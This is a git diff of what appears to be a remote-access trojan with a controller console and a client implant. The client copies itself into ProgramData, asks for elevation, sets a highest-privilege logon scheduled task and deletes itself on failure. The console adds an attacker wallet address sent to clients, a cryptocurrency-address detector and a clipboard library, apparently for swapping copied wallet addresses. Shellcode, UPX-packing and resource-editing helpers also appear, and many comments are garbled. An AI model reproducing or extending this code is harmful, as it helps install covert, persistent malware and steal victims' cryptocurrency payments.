ConvertCharToWChar(desc ? desc : d, temp, MAX_PATH);
BSTR bDesc = SysAllocString(temp);
pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc);
SysFreeString(bDesc);
pRegInfo->lpVtbl->Release(pRegInfo);
}
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
if (SUCCEEDED(hr)) {
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
if (FAILED(hr)) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>񴥷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
pTask->lpVtbl->Release(pTask);
pService->lpVtbl->Release(pService);
CoUninitialize();
return 6;
}
pTrigger->lpVtbl->Release(pTrigger);
}
// <20><><EFBFBD>ò<EFBFBD><C3B2><EFBFBD>
IActionCollection* pActionCollection = NULL;
hr = pTask->lpVtbl->get_Actions(pTask, &pActionCollection);
if (SUCCEEDED(hr)) {
IAction* pAction = NULL;
hr = pActionCollection->lpVtbl->Create(pActionCollection, TASK_ACTION_EXEC, &pAction);
if (SUCCEEDED(hr)) {
IExecAction* pExecAction = NULL;
hr = pAction->lpVtbl->QueryInterface(pAction, &IID_IExecAction, (void**)&pExecAction);
if (SUCCEEDED(hr)) {
WCHAR wExePath[MAX_PATH] = {0};
ConvertCharToWChar(exePath, wExePath, MAX_PATH);
BSTR path = SysAllocString(wExePath);
pExecAction->lpVtbl->put_Path(pExecAction, path);
SysFreeString(path);
pExecAction->lpVtbl->Release(pExecAction);
}
pAction->lpVtbl->Release(pAction);
}
pActionCollection->lpVtbl->Release(pActionCollection);
}
// Ȩ<><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
IPrincipal* pPrincipal = NULL;
if (SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
pPrincipal->lpVtbl->put_RunLevel(pPrincipal, TASK_RUNLEVEL_HIGHEST);
pPrincipal->lpVtbl->Release(pPrincipal);
}
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ITaskFolder* pFolder = NULL;
hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pFolder);
ConvertCharToWChar(taskName, wTaskName, MAX_PATH);
if (SUCCEEDED(hr)) {
char userName[UNLEN + 1] = {0};
DWORD nameLen = UNLEN + 1;
if (GetUserNameA(userName, &nameLen)) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD>. <20><>ǰ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>Ϊ: %s\n", userName);
}
WCHAR wUser[_MAX_PATH] = {0};
ConvertCharToWChar(userName, wUser, MAX_PATH);
BSTR bstrTaskName = SysAllocString(wTaskName);
VARIANT vUser;
VariantInit(&vUser);
vUser.vt = VT_BSTR;
vUser.bstrVal = SysAllocString(wUser);
IRegisteredTask* pRegisteredTask = NULL;
hr = pFolder->lpVtbl->RegisterTaskDefinition(
pFolder,
bstrTaskName,
pTask,
TASK_CREATE_OR_UPDATE,
vUser,
empty,
TASK_LOGON_INTERACTIVE_TOKEN,
empty,
&pRegisteredTask
);
if (SUCCEEDED(hr)) {
if (run) {
IRunningTask* pRunningTask = NULL;
hr = pRegisteredTask->lpVtbl->Run(pRegisteredTask, empty, &pRunningTask);
if (SUCCEEDED(hr)) {
pRunningTask->lpVtbl->Release(pRunningTask);
}
else {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>񣬴<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺%ld\n", hr);
}
}
pRegisteredTask->lpVtbl->Release(pRegisteredTask);
}
VariantClear(&vUser);
SysFreeString(bstrTaskName);
pFolder->lpVtbl->Release(pFolder);
}
pTask->lpVtbl->Release(pTask);
pService->lpVtbl->Release(pService);
CoUninitialize();
return SUCCEEDED(hr) ? 0 : 7;
}
BOOL IsRunningAsAdmin()
{
BOOL isAdmin = FALSE;
PSID administratorsGroup = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0, &administratorsGroup)){
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)){
isAdmin = FALSE;
}
FreeSid(administratorsGroup);
}
return isAdmin;
}
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
{
SHELLEXECUTEINFOA shExecInfo;
ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA));
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA);
shExecInfo.fMask = SEE_MASK_DEFAULT;
shExecInfo.hwnd = NULL;
shExecInfo.lpVerb = verb;
shExecInfo.lpFile = szFilePath;
shExecInfo.nShow = SW_NORMAL;
return ShellExecuteExA(&shExecInfo);
}
BOOL CreateDirectoryRecursively(const char* path)
{
if (PathFileExistsA(path))
return TRUE;
char temp[MAX_PATH] = { 0 };
size_t len = strlen(path);
strncpy(temp, path, len);
for (size_t i = 0; i < len; ++i){
if (temp[i] == '\\'){
temp[i] = '\0';
if (!PathFileExistsA(temp)){
if (!CreateDirectoryA(temp, NULL))
return FALSE;
}
temp[i] = '\\';
}
}
if (!CreateDirectoryA(temp, NULL))
return FALSE;
return TRUE;
}
int RegisterStartup(const char* startupName, const char* exeName)
{
#ifdef _DEBUG
return 1;
#endif
char folder[MAX_PATH] = { 0 };
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0){
size_t len = strlen(folder);
if (len > 0 && folder[len - 1] != '\\'){
folder[len] = '\\';
folder[len + 1] = '\0';
}
strcat(folder, startupName);
if (!CreateDirectoryRecursively(folder)){
Mprintf("Failed to create directory structure: %s\n", folder);
return -1;
}
}
char curFile[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, curFile, MAX_PATH);
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
if (_stricmp(curFile, dstFile) != 0){
if (!IsRunningAsAdmin()){
if (!LaunchAsAdmin(curFile, "runas")){
Mprintf("The program will now exit. Please restart it with administrator privileges.");
return -1;
}
Mprintf("Choosing with administrator privileges: %s.\n", curFile);
return 0;
} else {
Mprintf("Running with administrator privileges: %s.\n", curFile);
}
DeleteFileA(dstFile);
BOOL b = CopyFileA(curFile, dstFile, FALSE);
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE);
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %s!\n", status == 0 ? "<EFBFBD>ɹ<EFBFBD>" : "ʧ<EFBFBD><EFBFBD>");
return 0;
}
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE);
Mprintf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: %s!\n", status == 0 ? "<EFBFBD>ɹ<EFBFBD>" : "ʧ<EFBFBD><EFBFBD>");
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
return 1;
}

4
client/reg_startup.h Normal file
View File

@@ -0,0 +1,4 @@
#pragma once
// return > 0 means to continue running else terminate.
int RegisterStartup(const char* startupName, const char* exeName);

View File

@@ -7,6 +7,9 @@
#include "common/dllRunner.h"
#include <common/iniFile.h>
#include "auto_start.h"
extern "C" {
#include "reg_startup.h"
}
#pragma comment(lib, "ws2_32.lib")
@@ -200,6 +203,13 @@ public:
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
int main(int argc, const char *argv[])
{
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int r = RegisterStartup("Client Demo", "ClientDemo");
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug)return r;
}
BOOL ok = SetSelfStart(argv[0], REG_NAME);
if(!ok)
{

View File

@@ -187,6 +187,8 @@ enum
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_CHAT_START = 62, // Զ<>̽<EFBFBD≯
TOKEN_UNINSTALL = 63, // ж<><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TOKEN_PRIVATESCREEN = 64, // <20><>˽<EFBFBD><CBBD>Ļ
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
@@ -838,7 +840,7 @@ typedef struct MasterSettings {
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
char Reserved[472]; // Ԥ<><D4A4>
char WalletAddress[472]; // Wallets
}MasterSettings;
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>

View File

@@ -184,28 +184,64 @@ public:
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
std::string getPublicIP() {
clock_t t = clock();
HINTERNET hInternet, hConnect;
DWORD bytesRead;
char buffer[1024] = { 0 };
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>ѯԴ
static const std::vector<std::string> urls = {
"https://checkip.amazonaws.com", // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
"https://api.ipify.org", // <20><><EFBFBD><EFBFBD><EFBFBD>߿<EFBFBD><DFBF><EFBFBD>
"https://ipinfo.io/ip", // <20><><EFBFBD>÷<EFBFBD><C3B7><EFBFBD>
"https://icanhazip.com", // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
"https://ifconfig.me/ip" // ĩλ<C4A9><CEBB><EFBFBD><EFBFBD>
};
// <20><><EFBFBD><EFBFBD> WinINet <20>
HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
Mprintf("getPublicIP failed cost %d ms.\n", clock() - t);
Mprintf("InternetOpen failed. cost %d ms.\n", clock() - t);
return "";
}
hConnect = InternetOpenUrl(hInternet, "https://api.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
Mprintf("getPublicIP failed cost %d ms.\n", clock() - t);
return "";
// <20><><EFBFBD>ó<EFBFBD>ʱ (<28><><EFBFBD><EFBFBD>)
DWORD timeout = 3000; // 3 <20><>
InternetSetOptionA(hInternet, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, sizeof(timeout));
InternetSetOptionA(hInternet, INTERNET_OPTION_SEND_TIMEOUT, &timeout, sizeof(timeout));
InternetSetOptionA(hInternet, INTERNET_OPTION_RECEIVE_TIMEOUT, &timeout, sizeof(timeout));
std::string result;
char buffer[2048];
DWORD bytesRead = 0;
// <20><>ѯ<EFBFBD><D1AF>ͬ IP <20><>ѯԴ
for (const auto& url : urls) {
HINTERNET hConnect = InternetOpenUrlA(
hInternet, url.c_str(), NULL, 0,
INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE,
0
);
if (!hConnect) {
continue; // <20><>ǰԴʧ<D4B4>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
}
memset(buffer, 0, sizeof(buffer));
if (InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) {
result.assign(buffer, bytesRead);
// ȥ<><C8A5><EFBFBD><EFBFBD><EFBFBD>з<EFBFBD><D0B7>Ϳո<CDBF>
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
InternetCloseHandle(hConnect);
break; // <20>ɹ<EFBFBD><C9B9><EFBFBD>ȡ<EFBFBD><C8A1>ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
}
InternetCloseHandle(hConnect);
}
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
Mprintf("getPublicIP succeed cost %d ms.\n", clock() - t);
return std::string(buffer);
Mprintf("getPublicIP %s cost %d ms.\n", result.empty() ? "failed" : "succeed", clock() - t);
return result;
}
};

105
common/wallet.h Normal file
View File

@@ -0,0 +1,105 @@
#include <iostream>
#include <string>
#include <regex>
// Powered by ChatGPT.
enum WalletType {
WALLET_UNKNOWN = 0,
WALLET_BTC_P2PKH,
WALLET_BTC_P2SH,
WALLET_BTC_BECH32,
WALLET_ETH_ERC20, // ETH、ERC20含 USDT-ERC20
WALLET_USDT_OMNI, // USDT OmniBTC 网络,格式同 BTC
WALLET_USDT_TRC20, // USDT TRC20
WALLET_TRON,
WALLET_SOLANA,
WALLET_XRP,
WALLET_POLKADOT,
WALLET_CARDANO_SHELLEY,
WALLET_CARDANO_BYRON,
WALLET_DOGE // Dogecoin
};
enum AddressType {
ADDR_BTC = 0,
ADDR_ERC20,
ADDR_OMNI,
ADDR_TRC20,
ADDR_SOL,
ADDR_XRP,
ADDR_ADA,
ADDR_DOGE,
ADDR_DOT,
ADDR_TRON,
MAX_WALLET_NUM,
};
inline WalletType detectWalletType(const std::string& address_raw) {
std::string address = address_raw;
address.erase(0, address.find_first_not_of(" \t\n\r"));
address.erase(address.find_last_not_of(" \t\n\r") + 1);
// 1. ETH/ERC200x 开头)
static const std::regex eth_regex("^0x[a-fA-F0-9]{40}$");
if (std::regex_match(address, eth_regex)) return WALLET_ETH_ERC20;
// 2. TRC20T 开头)
static const std::regex trc20_regex("^T[1-9A-HJ-NP-Za-km-z]{33}$");
if (std::regex_match(address, trc20_regex)) return WALLET_USDT_TRC20;
// 3. BTC Bech32bc1 开头)
static const std::regex btc_bech32_regex("^bc1[0-9a-z]{6,}$");
if (std::regex_match(address, btc_bech32_regex)) return WALLET_BTC_BECH32;
// 4. BTC P2PKH1 开头)
static const std::regex btc_p2pkh_regex("^1[1-9A-HJ-NP-Za-km-z]{25,34}$");
if (std::regex_match(address, btc_p2pkh_regex)) return WALLET_BTC_P2PKH;
// 5. BTC P2SH3 开头)
static const std::regex btc_p2sh_regex("^3[1-9A-HJ-NP-Za-km-z]{25,34}$");
if (std::regex_match(address, btc_p2sh_regex)) return WALLET_BTC_P2SH;
// 6. XRPr 开头Base58
static const std::regex xrp_regex("^r[1-9A-HJ-NP-Za-km-z]{24,34}$");
if (std::regex_match(address, xrp_regex)) return WALLET_XRP;
// 7. DogecoinD 开头Base58
static const std::regex doge_regex("^D[5-9A-HJ-NP-Ua-km-z]{33}$");
if (std::regex_match(address, doge_regex)) return WALLET_DOGE;
// 8. Cardano Shelleyaddr1 开头)
static const std::regex ada_shelley_regex("^addr1[0-9a-z]{20,}$");
if (std::regex_match(address, ada_shelley_regex)) return WALLET_CARDANO_SHELLEY;
// 9. Cardano ByronDdzFF 开头)
if (address.find("DdzFF") == 0) return WALLET_CARDANO_BYRON;
// 10. Polkadot长度 4748Base58
static const std::regex dot_regex("^[1-9A-HJ-NP-Za-km-z]{47,48}$");
if (std::regex_match(address, dot_regex)) return WALLET_POLKADOT;
// 11. Solana3244无前缀Base58→ 容易误判,必须放最后
static const std::regex solana_regex("^[1-9A-HJ-NP-Za-km-z]{32,44}$");
if (std::regex_match(address, solana_regex)) return WALLET_SOLANA;
return WALLET_UNKNOWN;
}
inline std::string walletTypeToString(WalletType type) {
switch (type) {
case WALLET_BTC_P2PKH: return "Bitcoin P2PKH (includes USDT-OMNI)";
case WALLET_BTC_P2SH: return "Bitcoin P2SH (includes USDT-OMNI)";
case WALLET_BTC_BECH32: return "Bitcoin Bech32";
case WALLET_ETH_ERC20: return "Ethereum / ERC20 (includes USDT-ERC20)";
case WALLET_USDT_TRC20: return "USDT TRC20";
case WALLET_TRON: return "TRON (same as USDT-TRC20)";
case WALLET_SOLANA: return "Solana";
case WALLET_XRP: return "XRP";
case WALLET_POLKADOT: return "Polkadot";
case WALLET_CARDANO_SHELLEY: return "Cardano Shelley";
case WALLET_CARDANO_BYRON: return "Cardano Byron";
case WALLET_DOGE: return "Dogecoin";
default: return "Unknown or Unsupported";
}
}

Binary file not shown.

Binary file not shown.

View File

@@ -1,3 +1,5 @@
# Requirements
- HPSocket: https://github.com/ldcsaa/HP-Socket.git
- Clip: https://github.com/dacap/clip.git

BIN
lib/clip.lib Normal file

Binary file not shown.

BIN
lib/clip_x64.lib Normal file

Binary file not shown.

BIN
lib/clip_x64D.lib Normal file

Binary file not shown.

BIN
lib/clipd.lib Normal file

Binary file not shown.

Binary file not shown.

View File

@@ -39,6 +39,9 @@
#include "client/MemoryModule.h"
#include <file/CFileManagerDlg.h>
#include "CDrawingBoard.h"
#include "CWalletDlg.h"
#include <wallet.h>
#include "CRcEditDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -350,6 +353,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
@@ -474,6 +479,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit)
ON_COMMAND(ID_ONLINE_UNINSTALL, &CMy2015RemoteDlg::OnOnlineUninstall)
ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen)
END_MESSAGE_MAP()
@@ -1052,6 +1061,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
auto w = THIS_CFG.GetStr("settings", "wallet", "");
memcpy(m_settings.WalletAddress, w.c_str(), w.length());
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
std::string str = myMap[n];
LVCOLUMN lvColumn;
@@ -1458,6 +1469,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]);
Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]);
Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]);
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash || m_superPass.empty()) {
@@ -2651,15 +2664,12 @@ BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size)
return TRUE;
}
int run_upx(const std::string& upx, const std::string &file, bool isCompress) {
int run_cmd(std::string cmdLine) {
STARTUPINFOA si = { sizeof(si) };
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi;
std::string cmd = isCompress ? "\" --best \"" : "\" -d \"";
std::string cmdLine = "\"" + upx + cmd + file + "\"";
PROCESS_INFORMATION pi = { 0 };
BOOL success = CreateProcessA(
NULL,
&cmdLine[0], // 注意必须是非 const char*
@@ -2683,20 +2693,14 @@ int run_upx(const std::string& upx, const std::string &file, bool isCompress) {
return static_cast<int>(exitCode);
}
int run_upx(const std::string& upx, const std::string &file, bool isCompress) {
std::string cmd = isCompress ? "\" --best \"" : "\" -d \"";
std::string cmdLine = "\"" + upx + cmd + file + "\"";
return run_cmd(cmdLine);
}
std::string ReleaseUPX() {
DWORD dwSize = 0;
LPBYTE data = ReadResource(IDR_BINARY_UPX, dwSize);
if (!data)
return "";
char path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
std::string curExe = path;
GET_FILEPATH(path, "upx.exe");
BOOL r = WriteBinaryToFile(path, (char*)data, dwSize);
SAFE_DELETE_ARRAY(data);
return r ? path : "";
return ReleaseEXE(IDR_BINARY_UPX, "upx.exe");
}
// 解压UPX对当前应用程序进行操作
@@ -3284,3 +3288,63 @@ void CMy2015RemoteDlg::OnOnlineRunAsAdmin()
LeaveCriticalSection(&m_cs);
}
}
void CMy2015RemoteDlg::OnMainWallet()
{
CWalletDlg dlg(this);
dlg.m_str = CString(m_settings.WalletAddress);
if (dlg.DoModal() != IDOK || CString(m_settings.WalletAddress) == dlg.m_str)
return;
if (dlg.m_str.GetLength() > 470) {
MessageBox("超出钱包地址可输入的字符数限制!", "提示", MB_ICONINFORMATION);
return;
}
strcpy(m_settings.WalletAddress, dlg.m_str);
THIS_CFG.SetStr("settings", "wallet", m_settings.WalletAddress);
SendMasterSettings(nullptr);
}
void CMy2015RemoteDlg::OnToolRcedit()
{
CRcEditDlg dlg;
dlg.DoModal();
}
void CMy2015RemoteDlg::OnOnlineUninstall()
{
if (IDYES != MessageBox(_T("确定卸载选定的被控程序吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
return;
BYTE bToken = TOKEN_UNINSTALL;
SendSelectedCommand(&bToken, sizeof(BYTE));
EnterCriticalSection(&m_cs);
int iCount = m_CList_Online.GetSelectedCount();
for (int i = 0; i < iCount; ++i)
{
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CString strIP = m_CList_Online.GetItemText(iItem, ONLINELIST_IP);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
m_CList_Online.DeleteItem(iItem);
ctx->Destroy();
strIP += "断开连接";
ShowMessage("操作成功", strIP);
}
LeaveCriticalSection(&m_cs);
}
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
{
std::string masterId = GetPwdHash(), hmac = GetHMAC();
if (hmac.empty())
hmac = THIS_CFG.GetStr("settings", "HMAC");
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
memcpy(bToken + 1, masterId.c_str(), masterId.length());
memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length());
SendSelectedCommand(bToken, sizeof(bToken));
}

View File

@@ -216,7 +216,7 @@ public:
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[15];
CBitmap m_bmOnline[17];
uint64_t m_superID;
enum {
STATUS_UNKNOWN = -1,
@@ -304,4 +304,8 @@ public:
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
afx_msg void OnMainWallet();
afx_msg void OnToolRcedit();
afx_msg void OnOnlineUninstall();
afx_msg void OnOnlinePrivateScreen();
};

View File

@@ -247,6 +247,7 @@
<None Include="res\frpc.dll" />
<None Include="res\My2015Remote.rc2" />
<None Include="res\pc.ico" />
<None Include="res\rcedit.exe" />
<None Include="res\string.ico" />
<None Include="res\upx.exe" />
</ItemGroup>
@@ -267,7 +268,9 @@
<ClInclude Include="CGridDialog.h" />
<ClInclude Include="Chat.h" />
<ClInclude Include="CPasswordDlg.h" />
<ClInclude Include="CRcEditDlg.h" />
<ClInclude Include="CTextDlg.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="DateVerify.h" />
<ClInclude Include="DecryptDlg.h" />
<ClInclude Include="EditDialog.h" />
@@ -338,7 +341,9 @@
<ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="Chat.cpp" />
<ClCompile Include="CPasswordDlg.cpp" />
<ClCompile Include="CRcEditDlg.cpp" />
<ClCompile Include="CTextDlg.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="DecryptDlg.cpp" />
<ClCompile Include="EditDialog.cpp" />
<ClCompile Include="FileManagerDlg.cpp" />
@@ -401,7 +406,9 @@
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
<Image Include="res\Bitmap\GrayDesktop.bmp" />
<Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" />
<Image Include="res\Bitmap\remove.bmp" />
<Image Include="res\Bitmap\Share.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" />

View File

@@ -53,6 +53,8 @@
<ClCompile Include="IOCPKCPServer.cpp" />
<ClCompile Include="..\..\common\ikcp.c" />
<ClCompile Include="CGridDialog.cpp" />
<ClCompile Include="CWalletDlg.cpp" />
<ClCompile Include="CRcEditDlg.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\client\Audio.h" />
@@ -118,6 +120,8 @@
<ClInclude Include="IOCPKCPServer.h" />
<ClInclude Include="..\..\common\ikcp.h" />
<ClInclude Include="CGridDialog.h" />
<ClInclude Include="CWalletDlg.h" />
<ClInclude Include="CRcEditDlg.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="2015Remote.rc" />
@@ -158,6 +162,8 @@
<Image Include="res\Bitmap\AssignTo.bmp" />
<Image Include="res\Bitmap\AddWatch.bmp" />
<Image Include="res\Bitmap\AdminRun.bmp" />
<Image Include="res\Bitmap\remove.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />
@@ -193,6 +199,7 @@
<None Include="res\frpc.dll" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\x64\Release\SCLoader.exe" />
<None Include="res\rcedit.exe" />
</ItemGroup>
<ItemGroup>
<Text Include="..\..\ReadMe.md" />

View File

@@ -104,6 +104,22 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size);
std::string ReleaseEXE(int resID, const char* name) {
DWORD dwSize = 0;
LPBYTE data = ReadResource(resID, dwSize);
if (!data)
return "";
char path[MAX_PATH];
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
std::string curExe = path;
GET_FILEPATH(path, name);
BOOL r = WriteBinaryToFile(path, (char*)data, dwSize);
SAFE_DELETE_ARRAY(data);
return r ? path : "";
}
typedef struct SCInfo
{
unsigned char aes_key[16];

View File

@@ -4,6 +4,8 @@
LPBYTE ReadResource(int resourceId, DWORD& dwSize);
std::string ReleaseEXE(int resID, const char* name);
